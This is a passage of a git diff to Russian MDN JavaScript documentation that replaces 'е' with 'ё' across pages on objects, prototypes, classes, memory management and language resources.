атрибута <code>NAME</code> равное "myForm", вы можете сослаться на эту форму вот так: <code>document.forms[1]</code> или <code>document.forms["myForm"]</code> или <code>document.myForm</code>.</p> <h2 id="Определение_свойств_для_типа_объекта">Определение свойств для типа объекта</h2> -<p>Вы можете добавить свойство к ранее определенному типу объекта воспользовавшись специальным свойством <code>prototype</code>. Через <code>prototype</code> создается свойство, единое для всех объектов данного типа, а не одного экземпляра этого типа объекта. Следующий код демонстрирует это, добавляя свойство <code>color</code> ко всем объектам типа <code>car</code>, а затем присваивая значение свойству <code>color</code> объекта<code> car1</code>.</p> +<p>Вы можете добавить свойство к ранее определённому типу объекта воспользовавшись специальным свойством <code>prototype</code>. Через <code>prototype</code> создаётся свойство, единое для всех объектов данного типа, а не одного экземпляра этого типа объекта. Следующий код демонстрирует это, добавляя свойство <code>color</code> ко всем объектам типа <code>car</code>, а затем присваивая значение свойству <code>color</code> объекта<code> car1</code>.</p> <pre class="brush: js">Car.prototype.color = null; car1.color = "black"; @@ -297,7 +297,7 @@ var myObj = { <pre class="brush: js">object.methodname(params); </pre> -<p>Вы можете определять методы для типа объекта, включая определение метода в функцию конструктора объекта. Например, вы можете определить функцию, которая форматирует и отображает свойства до этого определенных объектов <code>car</code>. Например,</p> +<p>Вы можете определять методы для типа объекта, включая определение метода в функцию конструктора объекта. Например, вы можете определить функцию, которая форматирует и отображает свойства до этого определённых объектов <code>car</code>. Например,</p> <pre class="brush: js">function displayCar() { var result = "A Beautiful " + this.year + " " + this.make @@ -359,9 +359,9 @@ car2.displayCar(); <h2 id="Определение_геттеров_и_сеттеров">Определение геттеров и сеттеров</h2> -<p><em><a href="/ru/docs/Web/JavaScript/Reference/Functions/get">Геттер </a>(от англ. get - получить) </em><span style="line-height: 1.5;">—</span><em> </em>это метод, который получает значение определенного свойства. <em><a href="/ru/docs/Web/JavaScript/Reference/Functions/set">Сеттер </a>(от англ. set </em><span style="line-height: 1.5;">—</span><em> присвоить)</em> <span style="line-height: 1.5;">—</span> это метод, который присваивает значение определенному свойству объекта. Вы можете определить геттеры и сеттеры для любых из встроенных или определенных вами объектов, которые поддерживают добавление новых свойств. Синтаксис определения геттеров и сеттеров использует литеральный синтаксис объектов.</p> +<p><em><a href="/ru/docs/Web/JavaScript/Reference/Functions/get">Геттер </a>(от англ. get - получить) </em><span style="line-height: 1.5;">—</span><em> </em>это метод, который получает значение определённого свойства. <em><a href="/ru/docs/Web/JavaScript/Reference/Functions/set">Сеттер </a>(от англ. set </em><span style="line-height: 1.5;">—</span><em> присвоить)</em> <span style="line-height: 1.5;">—</span> это метод, который присваивает значение определённому свойству объекта. Вы можете определить геттеры и сеттеры для любых из встроенных или определённых вами объектов, которые поддерживают добавление новых свойств. Синтаксис определения геттеров и сеттеров использует литеральный синтаксис объектов.</p> -<p>Ниже проиллюстрировано, как могут работать геттеры и сеттеры в объекте определенном пользователем:</p> +<p>Ниже проиллюстрировано, как могут работать геттеры и сеттеры в объекте определённом пользователем:</p> <pre class="brush: js"><code>var o = { a: 7, @@ -386,7 +386,7 @@ console.log(o.a); // 25</code></pre> <li><code>o.c</code> — сеттер, который присваивает значение <code>o.a</code> половине значения которое передано в <code>o.c</code></li> </ul> -<p>Следует особо отметить, что имена функций, указанные в литеральной форме "[gs]et <em>propertyName</em>() { }" не будут в действительности являться именами геттера и сеттера. Чтобы задать в качестве геттера и сеттера функции с явно определенными именами, используйте метод <code><a href="https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/Object/defineProperty" title="en-US/docs/Core JavaScript 1.5 Reference/Global +<p>Следует особо отметить, что имена функций, указанные в литеральной форме "[gs]et <em>propertyName</em>() { }" не будут в действительности являться именами геттера и сеттера. Чтобы задать в качестве геттера и сеттера функции с явно определёнными именами, используйте метод <code><a href="https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/Object/defineProperty" title="en-US/docs/Core JavaScript 1.5 Reference/Global Objects/Object/defineProperty">Object.defineProperty</a></code> (или его устаревший аналог <code><a href="https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/Object/defineGetter" title="en-US/docs/Core JavaScript 1.5 Reference/Global Objects/Object/defineGetter">Object.prototype.__defineGetter__</a></code>).</p> @@ -450,7 +450,7 @@ myobj.b = 12; delete myobj.a; </pre> -<p>Вы также можете воспользоваться <code>delete</code> чтобы удалить глобальную переменную, если ключевое слово <code>var</code> не было использовано при ее объявлении:</p> +<p>Вы также можете воспользоваться <code>delete</code> чтобы удалить глобальную переменную, если ключевое слово <code>var</code> не было использовано при её объявлении:</p> <pre class="brush: js">g = 17; delete g; @@ -460,25 +460,25 @@ delete g; <h2 id="Сравнение_объектов">Сравнение объектов</h2> -<p>В JavaScript объекты имеют ссылочный тип. Два отдельных объекта никогда не будут равными, даже если они имеют равный набор свойств. Только сравнение двух ссылок на один и тот же объект вернет true.</p> +<p>В JavaScript объекты имеют ссылочный тип. Два отдельных объекта никогда не будут равными, даже если они имеют равный набор свойств. Только сравнение двух ссылок на один и тот же объект вернёт true.</p> <pre class="brush: js"><code>// Две переменных ссылаются на два объекта с одинаковыми свойствами var fruit = {name: 'apple'}; var fruitbear = {name: 'apple'}; -fruit == fruitbear; // вернет false -fruit === fruitbear; // вернет false</code></pre> +fruit == fruitbear; // вернёт false +fruit === fruitbear; // вернёт false</code></pre> <pre class="brush: js"><code>// Две переменные ссылаются на один общий объект var fruit = {name: 'apple'}; var fruitbear = fruit; // присвоим переменной fruitbear ссылку на объект fruit // теперь fruitbear и fruit ссылаются на один и тот же объект -fruit == fruitbear; // вернет true -fruit === fruitbear; // вернет true</code></pre> +fruit == fruitbear; // вернёт true +fruit === fruitbear; // вернёт true</code></pre> <pre class="brush: js"><code>fruit.name = 'grape'; -console.log(fruitbear); // вернет { name: "grape" } вместо { name: "apple" }</code></pre> +console.log(fruitbear); // вернёт { name: "grape" } вместо { name: "apple" }</code></pre> <p>Подробнее смотрите <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators">Операторы сравнения</a>.</p> diff --git a/files/ru/web/javascript/index.html b/files/ru/web/javascript/index.html index d7c70db6d0..0e29c2efb4 100644 --- a/files/ru/web/javascript/index.html +++ b/files/ru/web/javascript/index.html @@ -20,7 +20,7 @@ translation_of: Web/JavaScript <p><strong>JavaScript</strong><sup>®</sup> (часто просто <strong>JS</strong>) — это легковесный, интерпретируемый или JIT-компилируемый, объектно-ориентированный язык с {{Glossary("First-class_Function", "функциями первого класса")}}. Наиболее широкое применение находит как язык сценариев веб-страниц, но также <a href="http://en.wikipedia.org/wiki/JavaScript#Uses_outside_web_pages">используется и в других программных продуктах</a>, например, <a href="http://nodejs.org" title="http://nodejs.org">node.js</a> или <a href="http://couchdb.apache.org" title="http://couchdb.apache.org">Apache CouchDB</a>. JavaScript это {{Glossary("Prototype-based_programming", "прототипно-ориентированный")}}, мультипарадигменный язык с динамической типизацией, который поддерживает объектно-ориентированный, императивный и декларативный (например, функциональное программирование) стили программирования. Подробнее <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/%D0%9E_JavaScript">о JavaScript</a>.</p> </div> -<p>Эта часть сайта посвящена самому языку JavaScript, и она не затрагивает тонкостей, связанных с веб-страницами или окружением, в котором исполняется JavaScript. Информация об {{Glossary("API")}}, относящихся к веб-страницам, находится в разделах, посвященных <a href="/ru/docs/Web/API">Веб-API</a> и <a href="/ru/docs/DOM">DOM</a>.</p> +<p>Эта часть сайта посвящена самому языку JavaScript, и она не затрагивает тонкостей, связанных с веб-страницами или окружением, в котором исполняется JavaScript. Информация об {{Glossary("API")}}, относящихся к веб-страницам, находится в разделах, посвящённых <a href="/ru/docs/Web/API">Веб-API</a> и <a href="/ru/docs/DOM">DOM</a>.</p> <p>Стандартом языка JavaScript является <a href="https://developer.mozilla.org/ru/docs/JavaScript/Language_Resources" title="ECMAScript">ECMAScript</a>. По состоянию на 2012, все современные браузеры полностью поддерживают ECMAScript 5.1. Старые версии браузеров поддерживают по крайней мере - ECMAScript 3. 17 июня 2015 года состоялся выпуск шестой версии ECMAScript. Эта версия официально называется ECMAScript 2015, которую чаще всего называют ECMAScript 2015 или просто ES2015. С недавнего времени стандарты ECMAScript выпускаются ежегодно. Эта документация относится к последней версии черновика, которой является <a href="http://tc39.github.io/ecma262/">ECMAScript 2018</a>.</p> @@ -47,7 +47,7 @@ translation_of: Web/JavaScript <dt><a href="/ru/docs/Learn/JavaScript/Asynchronous">Асинхронный JavaScript</a></dt> <dd>Обсуждение асинхронного JavaScript: почему это так важно, как эта возможность языка может использована для обработки потенциальных блокирующих операций, как, например получение данных с сервера.</dd> <dt><a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Client-side_web_APIs">Клиентские (браузерные) веб-API</a></dt> - <dd>Когда вы пишите клиент веб-сайтов или приложений на JavaScript, вы не далеко уйдете без использования API – интерфейсов для взаимодействия с браузером и операционной системой, на которой запущен сайт, или даже для операций с данными, полученными от других веб-сайтов и сервисов. В этом цикле статей мы разбираемся, что такое API и как использовать некоторые самые распространенные API, которые вам встретятся при разработке.</dd> + <dd>Когда вы пишите клиент веб-сайтов или приложений на JavaScript, вы не далеко уйдёте без использования API – интерфейсов для взаимодействия с браузером и операционной системой, на которой запущен сайт, или даже для операций с данными, полученными от других веб-сайтов и сервисов. В этом цикле статей мы разбираемся, что такое API и как использовать некоторые самые распространённые API, которые вам встретятся при разработке.</dd> </dl> <h3 id="Руководство_по_JavaScript">Руководство по JavaScript</h3> diff --git a/files/ru/web/javascript/inheritance_and_the_prototype_chain/index.html b/files/ru/web/javascript/inheritance_and_the_prototype_chain/index.html index bf82041c88..5ed538ca47 100644 --- a/files/ru/web/javascript/inheritance_and_the_prototype_chain/index.html +++ b/files/ru/web/javascript/inheritance_and_the_prototype_chain/index.html @@ -21,7 +21,7 @@ translation_of: Web/JavaScript/Inheritance_and_the_prototype_chain <h3 id="Наследование_свойств">Наследование свойств</h3> <p>Объекты в JavaScript — динамические "контейнеры", наполненные свойствами (называемыми <strong>собственными свойствами</strong>). Каждый объект содержит ссылку на свой объект-прототип.<br> - При попытке получить доступ к какому-либо свойству объекта, свойство вначале ищется в самом объекте, затем в прототипе объекта, после чего в прототипе прототипа, и так далее. Поиск ведется до тех пор, пока не найдено свойство с совпадающим именем или не достигнут конец цепочки прототипов.</p> + При попытке получить доступ к какому-либо свойству объекта, свойство вначале ищется в самом объекте, затем в прототипе объекта, после чего в прототипе прототипа, и так далее. Поиск ведётся до тех пор, пока не найдено свойство с совпадающим именем или не достигнут конец цепочки прототипов.</p> <pre class="brush: js notranslate">// В этом примере someObject.[[Prototype]] означает прототип someObject. // Это упрощённая нотация (описанная в стандарте ECMAScript). @@ -209,7 +209,7 @@ var square = new Square(2);</pre> <p>Одной из частых ошибок является расширение <code>Object.prototype</code> или других базовых прототипов.</p> -<p>Такой подход называется monkey patching и нарушает принцип <em>инкапсуляции</em>. Несмотря на то, что ранее он использовался в таких широко распространенных фреймворках, как например, Prototype.js, в настоящее время не существует разумных причин для его использования, поскольку в данном случае встроенные типы "захламляются" дополнительной нестандартной функциональностью.</p> +<p>Такой подход называется monkey patching и нарушает принцип <em>инкапсуляции</em>. Несмотря на то, что ранее он использовался в таких широко распространённых фреймворках, как например, Prototype.js, в настоящее время не существует разумных причин для его использования, поскольку в данном случае встроенные типы "захламляются" дополнительной нестандартной функциональностью.</p> <p>Единственным оправданием расширения базовых прототипов могут являться лишь полифилы - эмуляторы новой функциональности (например, <code>Array.forEach)</code> для не поддерживающих её реализаций языка в старых веб-браузерах.</p> diff --git a/files/ru/web/javascript/javascript_technologies_overview/index.html b/files/ru/web/javascript/javascript_technologies_overview/index.html index 8402d6cecb..70b2b62064 100644 --- a/files/ru/web/javascript/javascript_technologies_overview/index.html +++ b/files/ru/web/javascript/javascript_technologies_overview/index.html @@ -7,7 +7,7 @@ translation_of: Web/JavaScript/JavaScript_technologies_overview <h2 id="Введение">Введение</h2> -<p>Если HTML определяет структуру и контент веб-страницы, а CSS задает формат и внешний вид, то JavaScript добавляет интерактивность и создает богатые веб-приложения. </p> +<p>Если HTML определяет структуру и контент веб-страницы, а CSS задаёт формат и внешний вид, то JavaScript добавляет интерактивность и создаёт богатые веб-приложения. </p> <p>Однако, под общим термином "JavaScript", в контексте веб-браузера, понимаются несколько очень разных вещей. Одна из них - это базовый язык программирования (ECMAScript), а другая - коллекция Web APIs, включая DOM (Объектно-ориентированная модель документа).</p> @@ -33,7 +33,7 @@ translation_of: Web/JavaScript/JavaScript_technologies_overview <h3 id="Браузерная_поддержка">Браузерная поддержка</h3> -<p>На октябрь 2016, текущие версии основы веб-браузеров включали <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/New_in_JavaScript/ECMAScript_5_support_in_Mozilla">ECMAScript 5.1</a> и <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/New_in_JavaScript/ECMAScript_2015_support_in_Mozilla">ECMAScript 2015</a>, но более старые версии (все еще находящиеся в использовании) реализуют только ECMAScript 5.</p> +<p>На октябрь 2016, текущие версии основы веб-браузеров включали <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/New_in_JavaScript/ECMAScript_5_support_in_Mozilla">ECMAScript 5.1</a> и <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/New_in_JavaScript/ECMAScript_2015_support_in_Mozilla">ECMAScript 2015</a>, но более старые версии (все ещё находящиеся в использовании) реализуют только ECMAScript 5.</p> <h3 id="Будущее">Будущее</h3> @@ -41,7 +41,7 @@ translation_of: Web/JavaScript/JavaScript_technologies_overview <h3 id="API_по_интернационализации">API по интернационализации</h3> -<p><a href="http://ecma-international.org/ecma-402/1.0/">Спецификация ECMAScript для API по интернационализации</a> - дополнение к языковой спецификации ECMAScript, также стандартизированной Ecma TC39. API по интернационализации обеспечивает сопоставление (строковое сравнение), форматирование чисел, дат и времени для приложений на JavaScript, позволяя выбирать язык и проектировать функционал в зависимости от нужд. Начальный стандарт был одобрен в декабре 2012; статус реализации в браузерах ведется в документации <a href="https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/Intl"><code>Intl</code> object</a>. Спецификация по интернационализации сейчас также утверждается на ежегодной основе, и браузеры постоянно улучшают ее реализацию.</p> +<p><a href="http://ecma-international.org/ecma-402/1.0/">Спецификация ECMAScript для API по интернационализации</a> - дополнение к языковой спецификации ECMAScript, также стандартизированной Ecma TC39. API по интернационализации обеспечивает сопоставление (строковое сравнение), форматирование чисел, дат и времени для приложений на JavaScript, позволяя выбирать язык и проектировать функционал в зависимости от нужд. Начальный стандарт был одобрен в декабре 2012; статус реализации в браузерах ведётся в документации <a href="https://developer.mozilla.org/en-US/docs/JavaScript/Reference/Global_Objects/Intl"><code>Intl</code> object</a>. Спецификация по интернационализации сейчас также утверждается на ежегодной основе, и браузеры постоянно улучшают её реализацию.</p> <h2 id="DOM_APIs">DOM APIs</h2> @@ -55,15 +55,15 @@ translation_of: Web/JavaScript/JavaScript_technologies_overview <ul> <li>Структуру документа, древовидную модель, и архитектуру событий DOM в <a class="external" href="http://dvcs.w3.org/hg/domcore/raw-file/tip/Overview.html" title="http://dvcs.w3.org/hg/domcore/raw-file/tip/Overview.html">ядре DOM</a>: <code>Node</code>, <code>Element</code>, <code>DocumentFragment</code>, <code>Document</code>, <code>DOMImplementation</code>, <code>Event</code>, <code>EventTarget</code>, …</li> - <li>Менее строгое определение архитектуры событий DOM, также как и определенные <a class="external" href="http://dev.w3.org/2006/webapi/DOM-Level-3-Events/html/DOM3-Events.html" title="http://dev.w3.org/2006/webapi/DOM-Level-3-Events/html/DOM3-Events.html">события DOM</a>.</li> + <li>Менее строгое определение архитектуры событий DOM, также как и определённые <a class="external" href="http://dev.w3.org/2006/webapi/DOM-Level-3-Events/html/DOM3-Events.html" title="http://dev.w3.org/2006/webapi/DOM-Level-3-Events/html/DOM3-Events.html">события DOM</a>.</li> <li>Другие вещи, такие как <a class="external" href="http://www.w3.org/TR/DOM-Level-2-Traversal-Range/traversal.html">DOM Traversal</a> и <a class="external" href="http://html5.org/specs/dom-range.html" title="http://html5.org/specs/dom-range.html">DOM Range</a>.</li> </ul> -<p>С точки зрения ECMAScript, объекты определенные в спецификации DOM называются объектами среды исполнения ("host objects").</p> +<p>С точки зрения ECMAScript, объекты определённые в спецификации DOM называются объектами среды исполнения ("host objects").</p> <h3 id="HTML_DOM">HTML DOM</h3> -<p><a class="external" href="http://www.whatwg.org/html" title="http://www.whatwg.org/html">HTML</a>, это язык разметки Web, который определен в терминах DOM/ is specified in terms of the DOM. Layered above the abstract concepts defined in DOM Core, HTML also defines the <em>meaning</em> of elements. The HTML DOM includes such things as the <code>className</code> property on HTML elements, or APIs such as {{ domxref("document.body") }}.</p> +<p><a class="external" href="http://www.whatwg.org/html" title="http://www.whatwg.org/html">HTML</a>, это язык разметки Web, который определён в терминах DOM/ is specified in terms of the DOM. Layered above the abstract concepts defined in DOM Core, HTML also defines the <em>meaning</em> of elements. The HTML DOM includes such things as the <code>className</code> property on HTML elements, or APIs such as {{ domxref("document.body") }}.</p> <p>The HTML specification also defines restrictions on documents; for example, it requires all children of a <code>ul</code> element, which represents an unordered list, to be <code>li</code> elements, as those represent list items. In general, it also forbids using elements and attributes that aren't defined in a standard.</p> @@ -82,4 +82,4 @@ translation_of: Web/JavaScript/JavaScript_technologies_overview <p>Каждый разработчик сталкивавшийся с DOM понимает как там все <a href="http://ejohn.org/blog/the-dom-is-a-mess/" title="http://ejohn.org/blog/the-dom-is-a-mess/">безнадёжно</a>. Реализация той иной функциональности может отличаться, а следовательно и поведение. Главной причиной этого послужило то, что само описание спецификации DOM, было недостаточно ясным и подробным для разработчиков браузеров. Кроме того разные производители браузеров добавили несовместимые функциональности в своих браузеры или функциональности перекрывающие друг друга (например модель событий в IE). В данный момент консорциум W3C и частично WHATWG пытаются описать детально поведение тех или иных функций, чтобы улучшить совместимость между браузерами. Следуя этой тенденции, можно надеяться что браузеры улучшат свои реализации основываясь на этих спецификациях.</p> -<p>Наиболее общий, но возможно не самый надежный способ улучшить кроссбраузерную совместимость это воспользоваться библиотеками JavaScript. Эти библиотеки абстрагируют вас от особенностей реализации DOM в том или ином браузере, и гарантируют, что их API работает одинаково в разных браузерах. Наиболее распространенные из них это <a class="external" href="http://jquery.com/">jQuery</a> и <a class="external" href="http://www.prototypejs.org/">prototype</a>.</p> +<p>Наиболее общий, но возможно не самый надёжный способ улучшить кроссбраузерную совместимость это воспользоваться библиотеками JavaScript. Эти библиотеки абстрагируют вас от особенностей реализации DOM в том или ином браузере, и гарантируют, что их API работает одинаково в разных браузерах. Наиболее распространённые из них это <a class="external" href="http://jquery.com/">jQuery</a> и <a class="external" href="http://www.prototypejs.org/">prototype</a>.</p> diff --git a/files/ru/web/javascript/language_resources/index.html b/files/ru/web/javascript/language_resources/index.html index e96654a789..8d223226ca 100644 --- a/files/ru/web/javascript/language_resources/index.html +++ b/files/ru/web/javascript/language_resources/index.html @@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Language_Resources --- <p>{{JsSidebar}}</p> -<p><strong>ECMAScript</strong> это язык программирования лежащий в основе <a href="../../../../en/JavaScript" rel="internal">JavaScript</a>. ECMAScript стандартизирован <strong>в спецификации </strong><strong>ECMA-262, </strong>организацией по стандартам <a class="external" href="http://www.ecma-international.org/" title="http://www.ecma-international.org/">Ecma International</a> . Далее в таблице перечислены утвержденные стандарты ECMAScript:</p> +<p><strong>ECMAScript</strong> это язык программирования лежащий в основе <a href="../../../../en/JavaScript" rel="internal">JavaScript</a>. ECMAScript стандартизирован <strong>в спецификации </strong><strong>ECMA-262, </strong>организацией по стандартам <a class="external" href="http://www.ecma-international.org/" title="http://www.ecma-international.org/">Ecma International</a> . Далее в таблице перечислены утверждённые стандарты ECMAScript:</p> <table class="standard-table"> <tbody> @@ -59,7 +59,7 @@ translation_of: Web/JavaScript/Language_Resources </tbody> </table> -<p>Узнать больше о истории ECMAScript можно <a class="external" href="http://en.wikipedia.org/wiki/ECMAScript" title="http://en.wikipedia.org/wiki/ECMAScript">на странице википедии посвященной ECMAScript</a>.</p> +<p>Узнать больше о истории ECMAScript можно <a class="external" href="http://en.wikipedia.org/wiki/ECMAScript" title="http://en.wikipedia.org/wiki/ECMAScript">на странице википедии посвящённой ECMAScript</a>.</p> <p>Вы можете принять участие или просто отслеживать работу над следующей версией стандарта, которая разрабатывается под кодовым названием"Harmony", с помощью публично-доступного вики и <a class="link-https" href="https://mail.mozilla.org/listinfo/es-discuss" title="https://mail.mozilla.org/listinfo/es-discuss">es-discuss список рассылки</a> привязанного к <a class="external" href="http://www.ecmascript.org/community.php" title="http://www.ecmascript.org/community.php">ecmascript.org</a>.</p> @@ -75,7 +75,7 @@ translation_of: Web/JavaScript/Language_Resources <h3 id="Смотри_также">Смотри также</h3> <ul> - <li><a class="external" href="http://brendaneich.com/" title="http://brendaneich.com/">Блог Брендана Эйка</a>. Брендан создатель JavaScript и движка SpiderMonkey. Он все еще работает с рабочей группой ECMA чтобы развивать язык.</li> + <li><a class="external" href="http://brendaneich.com/" title="http://brendaneich.com/">Блог Брендана Эйка</a>. Брендан создатель JavaScript и движка SpiderMonkey. Он все ещё работает с рабочей группой ECMA чтобы развивать язык.</li> <li><a class="external" href="http://dmitrysoshnikov.com/" title="http://dmitrysoshnikov.com/">Дмитрий Сошников анализ ECMA-262 Edition 3 и 5</a></li> </ul> diff --git a/files/ru/web/javascript/memory_management/index.html b/files/ru/web/javascript/memory_management/index.html index bcdf39cd3d..79aafad29e 100644 --- a/files/ru/web/javascript/memory_management/index.html +++ b/files/ru/web/javascript/memory_management/index.html @@ -7,7 +7,7 @@ translation_of: Web/JavaScript/Memory_Management <h2 id="Введение">Введение</h2> -<p>Низкоуровневые языки программирования (например, C) имеют низкоуровневые примитивы для управления памятью, такие как <code>malloc()</code> и <code>free()</code>. В JavaScript же память выделяется динамически при создании сущностей (т.е., объектов, строк и т.п.) и "автоматически" освобождается, когда они больше не используются. Последний процесс называется <em>сборкой мусора</em> . Слово "автоматически" является источником путаницы и зачастую создает у программистов на JavaScript (и других высокоуровневых языках) ложное ощущение, что они могут не заботиться об управлении памятью.</p> +<p>Низкоуровневые языки программирования (например, C) имеют низкоуровневые примитивы для управления памятью, такие как <code>malloc()</code> и <code>free()</code>. В JavaScript же память выделяется динамически при создании сущностей (т.е., объектов, строк и т.п.) и "автоматически" освобождается, когда они больше не используются. Последний процесс называется <em>сборкой мусора</em> . Слово "автоматически" является источником путаницы и зачастую создаёт у программистов на JavaScript (и других высокоуровневых языках) ложное ощущение, что они могут не заботиться об управлении памятью.</p> <h2 id="Жизненный_цикл_памяти">Жизненный цикл памяти</h2> diff --git a/files/ru/web/javascript/reference/classes/constructor/index.html b/files/ru/web/javascript/reference/classes/constructor/index.html index 7d7fe14e82..ea52fc5371 100644 --- a/files/ru/web/javascript/reference/classes/constructor/index.html +++ b/files/ru/web/javascript/reference/classes/constructor/index.html @@ -70,7 +70,7 @@ try { <p><code>ValidationError</code> классу не нужен явный (explicit) конструктор, потому что не требуется инициализация. Затем конструктор по умолчанию позаботится о инициализации родительского класса <code>Error</code> переданным ему аргументом.</p> -<p>Однако, если определен ваш собственный конструктор и ваш класс является производным от какого-либо родительского класса, то вы должны явно объявить конструктор родительского класса, используя <code>super</code>. К примеру:</p> +<p>Однако, если определён ваш собственный конструктор и ваш класс является производным от какого-либо родительского класса, то вы должны явно объявить конструктор родительского класса, используя <code>super</code>. К примеру:</p> <pre class="notranslate">class ValidationError extends Error { @@ -109,7 +109,7 @@ try { <pre class="brush: js notranslate">class Square extends Polygon { constructor(length) { // Здесь вызывается конструктор родительского класса, - // в который передается length в качестве аргументов, + // в который передаётся length в качестве аргументов, // соответствующим полям width и height класса Polygon super(length, length); // Заметка: В производном классе, super() должен вызываться перед тем как @@ -152,7 +152,7 @@ console.log(Object.getPrototypeOf(Square.prototype) === Rectangle.prototype); // let newInstance = new Square(); console.log(newInstance.name); //Polygon</pre> -<p>Здесь прототип <strong>Square</strong> класса изменен, но в то же время constructor предыдущего базового класса <strong>Polygon</strong> вызывается при создании нового экземпляра <strong>Square</strong>.</p> +<p>Здесь прототип <strong>Square</strong> класса изменён, но в то же время constructor предыдущего базового класса <strong>Polygon</strong> вызывается при создании нового экземпляра <strong>Square</strong>.</p> <h3 id="Constructors_по_умолчанию.">Constructors по умолчанию.</h3> @@ -190,7 +190,7 @@ console.log(newInstance.name); //Polygon</pre> <h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2> -<div class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправить нам запрос на слияние.</div> +<div class="hidden">Таблица совместимости на этой странице создаётся из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправить нам запрос на слияние.</div> <p>{{Compat("javascript.classes.constructor")}}</p> diff --git a/files/ru/web/javascript/reference/classes/extends/index.html b/files/ru/web/javascript/reference/classes/extends/index.html index df642e9e23..d774cc72b0 100644 --- a/files/ru/web/javascript/reference/classes/extends/index.html +++ b/files/ru/web/javascript/reference/classes/extends/index.html @@ -30,7 +30,7 @@ translation_of: Web/JavaScript/Reference/Classes/extends <pre class="brush: js">class Square extends Polygon { constructor(length) { // Здесь вызывается конструктор родительского класса, - // в который передается свойство length в качестве + // в который передаётся свойство length в качестве // аргументов, соответствующих полям width и height, // класса Polygon super(length, length); diff --git a/files/ru/web/javascript/reference/classes/index.html b/files/ru/web/javascript/reference/classes/index.html index 8711331ffc..8b64f585f0 100644 --- a/files/ru/web/javascript/reference/classes/index.html +++ b/files/ru/web/javascript/reference/classes/index.html @@ -68,7 +68,7 @@ console.log(Rectangle.name); <h2 id="Тело_класса_и_задание_методов">Тело класса и задание методов</h2> -<p>Тело класса — это часть кода, заключенная в фигурные скобки <code>{}</code>. Здесь вы можете объявлять члены класса, такие как методы и конструктор.</p> +<p>Тело класса — это часть кода, заключённая в фигурные скобки <code>{}</code>. Здесь вы можете объявлять члены класса, такие как методы и конструктор.</p> <h3 id="Строгий_режим">Строгий режим</h3> @@ -154,7 +154,7 @@ Animal.eat() // класс Animal let eat = Animal.eat; eat(); // undefined</code></pre> -<p>Если мы напишем этот же код используя классы основанные на функциях, тогда произойдет автоупаковка основанная на значении <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">this</span></font>, в течение которого функция была вызвана. В строгом режиме автоупаковка не произойдет - значение <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">this</span></font> останется прежним.</p> +<p>Если мы напишем этот же код используя классы основанные на функциях, тогда произойдёт автоупаковка основанная на значении <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">this</span></font>, в течение которого функция была вызвана. В строгом режиме автоупаковка не произойдёт - значение <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">this</span></font> останется прежним.</p> <pre class="brush: js notranslate"><code>function Animal() { } @@ -199,7 +199,7 @@ Rectangle.prototype.prototypeWidth = 25; <h4 id="Публичные_поля">Публичные поля</h4> -<p>Используя Javascript синтаксис определения полей, приведенный выше пример может быть изменен следующим образом:</p> +<p>Используя Javascript синтаксис определения полей, приведённый выше пример может быть изменён следующим образом:</p> <pre class="notranslate">class Rectangle { height = 0; @@ -216,7 +216,7 @@ Rectangle.prototype.prototypeWidth = 25; <h4 id="Приватные_поля">Приватные поля</h4> -<p>Предыдущий пример может быть изменен следующим образом, используя приватные поля:</p> +<p>Предыдущий пример может быть изменён следующим образом, используя приватные поля:</p> <pre class="notranslate">class Rectangle { #height = 0; @@ -233,7 +233,7 @@ Rectangle.prototype.prototypeWidth = 25; <p>Приватные поля могут быть объявлены только заранее в объявлении поля.</p> </div> -<p>Приватные поля не могут быть созданы позже путем присваивания им значения, в отличии от обычных свойств.</p> +<p>Приватные поля не могут быть созданы позже путём присваивания им значения, в отличии от обычных свойств.</p> <p>Более подробно об этом написано в <a href="/ru/docs/Web/JavaScript/Reference/Classes/%D0%9F%D1%80%D0%B8%D0%B2%D0%B0%D1%82%D0%BD%D1%8B%D0%B5_%D0%BF%D0%BE%D0%BB%D1%8F_%D0%BA%D0%BB%D0%B0%D1%81%D1%81%D0%B0">Приватные поля класса</a>.</p> @@ -247,13 +247,13 @@ Rectangle.prototype.prototypeWidth = 25; }</code> speak() { - console.log(`${this.name} издает звук.`); + console.log(`${this.name} издаёт звук.`); } } class Dog extends Animal { constructor(name) { - super(name); // вызывает конструктор super класса и передает параметр name + super(name); // вызывает конструктор super класса и передаёт параметр name } speak() { @@ -272,7 +272,7 @@ d.speak(); // Митци лает</code></pre> this.name = name; } Animal.prototype.speak = function () { - console.log(</code>`${this.name} издает звук.`<code class="language-js">); + console.log(</code>`${this.name} издаёт звук.`<code class="language-js">); } class Dog extends Animal { @@ -290,7 +290,7 @@ d.speak(); // Митци лает <pre class="brush: js line-numbers language-js notranslate"><code class="language-js">var Animal = { speak() { - console.log(</code>`${this.name} издает звук.`<code class="language-js">); + console.log(</code>`${this.name} издаёт звук.`<code class="language-js">); } }; @@ -304,7 +304,7 @@ class Dog { Object.setPrototypeOf(Dog.prototype, Animal); let d = new Dog('Митци'); -d.speak(); // Митци издает звук.</code></pre> +d.speak(); // Митци издаёт звук.</code></pre> <h2 id="Species">Species</h2> @@ -332,7 +332,7 @@ console.log(mapped instanceof Array); // true</code></pre> } speak() { - 